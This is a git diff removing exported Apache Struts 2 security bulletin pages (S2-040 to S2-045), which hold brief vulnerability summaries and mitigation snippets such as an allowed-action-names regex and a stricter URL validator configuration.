-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-040</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554071">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554071">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554071">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554071">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554071">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554071">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-040-Summary">Summary</h2>Input validation bypass using existing default action method.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowsp [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.allowed.action.names" value="[a-zA-Z]*" /&gt;</pre>
-</div></div><p>Please adjust the RegEx to your action naming pattern, it should be as narrowed as possible.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-041.html b/content/docs/s2-041.html
deleted file mode 100644
index c9e9a01..0000000
--- a/content/docs/s2-041.html
+++ /dev/null
@@ -1,158 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-041</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-041.html">S2-041</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-041</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554186">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554186">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554186">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554186">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554186">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554186">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-041-Summary">Summary</h2>Possible DoS attack when using <code>URLValidator</code><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1 [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;validator type="url"&gt;
-    &lt;param name="fieldName"&gt;myHomePage&lt;/param&gt;
-    &lt;param name="urlRegex"&gt;^(https?|ftp):\\/\\/(([a-z0-9$_\\.\\+!\\*\\'\\(\\),;\\?&amp;=-]|%[0-9a-f]{2})+(:([a-z0-9$_\\.\\+!\\*\\'\\(\\),;\\?&amp;=-]|%[0-9a-f]{2})+)?@)?(#?)((([a-z0-9]\\.|[a-z0-9][a-z0-9-]*[a-z0-9]\\.)*[a-z][a-z0-9-]*[a-z0-9]|((\\d|[1-9]\\d|1\\d{2}|2[0-4][0-9]|25[0-5])\\.){3}(\\d|[1-9]\\d|1\\d{2}|2[0-4][0-9]|25[0-5]))(:\\d+)?)(((\\/{0,1}([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)*(\\?([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)?)?)?(#([a- [...]
-    &lt;message&gt;Invalid homepage url&lt;/message&gt;
-&lt;/validator&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-042.html b/content/docs/s2-042.html
deleted file mode 100644
index 5444ef8..0000000
--- a/content/docs/s2-042.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-042</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-042.html">S2-042</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-042</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873559">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873559">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873559">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873559">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873559">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873559">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-042-Summary">Summary</h2>Possible path traversal in the Convention plugin<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class= [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-043.html b/content/docs/s2-043.html
deleted file mode 100644
index 7a3ec09..0000000
--- a/content/docs/s2-043.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-043</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-043.html">S2-043</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-043</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873562">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873562">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873562">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873562">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873562">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873562">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-043-Summary">Summary</h2>Using the Config Browser plugin in production<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="co [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-044.html b/content/docs/s2-044.html
deleted file mode 100644
index 137d551..0000000
--- a/content/docs/s2-044.html
+++ /dev/null
@@ -1,156 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-044</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-044.html">S2-044</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-044</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66853803">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66853803">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66853803">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66853803">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66853803">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66853803">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-044-Summary">Summary</h2>Possible DoS attack when using <code>URLValidator</code><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1 [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public String setUserUrl(String userUrl) {
-    this.userUrl = userUrl.trim();
-}</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-045.html b/content/docs/s2-045.html
deleted file mode 100644
index 151ea8b..0000000
--- a/content/docs/s2-045.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
